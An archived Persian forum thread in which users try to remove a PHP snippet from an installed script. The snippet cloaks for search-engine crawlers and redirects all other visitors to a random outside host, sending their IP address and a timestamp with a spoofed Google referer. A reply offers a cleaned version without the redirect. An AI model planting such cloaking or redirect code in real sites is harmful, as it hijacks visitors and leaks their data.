PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : مشکل در ریدایرکت



fr0nk
January 28th, 2013, 20:46
با سلام

توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده


<?php
date_default_timezone_set('Asia/Tehran');

if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
{
$url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
header("Referer: https://www.google.com/");
header("Location: ".$url);
header("Referer: https://www.google.com/");
exit();
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>

مشکل رو else if هست

حذف بشه هم اسکریپت کامل نمیاد بالا


ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده

راه حل دوستان

hamed_mp
January 28th, 2013, 21:29
با سلام

توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده


<?php
date_default_timezone_set('Asia/Tehran');

if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
{
$url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
header("Referer: https://www.google.com/");
header("Location: ".$url);
header("Referer: https://www.google.com/");
exit();
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>

مشکل رو else if هست

حذف بشه هم اسکریپت کامل نمیاد بالا


ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده

راه حل دوستان

اگر فرض کنیم که این کد به جای دیگه ای یا به کد های پایینش وابسطه نباشه

در نتیجه تغییرات به این صورت هرگز ارور نباید بده


<?php
date_default_timezone_set('Asia/Tehran');

if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER["HTTP_HOST"],'server') !== false))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>

fr0nk
January 28th, 2013, 21:53
حذف این قسمت



{ $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s"); header("Referer: https://www.google.com/"); header("Location: ".$url); header("Referer: https://www.google.com/"); exit(); }


باعث لود ناقص اسکریپت میشه

hamed_mp
January 28th, 2013, 23:36
حذف این قسمت



{ $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s"); header("Referer: https://www.google.com/"); header("Location: ".$url); header("Referer: https://www.google.com/"); exit(); }


باعث لود ناقص اسکریپت میشه


کدی که به شما دادم جایگزین کنید و نتیجه را بکویید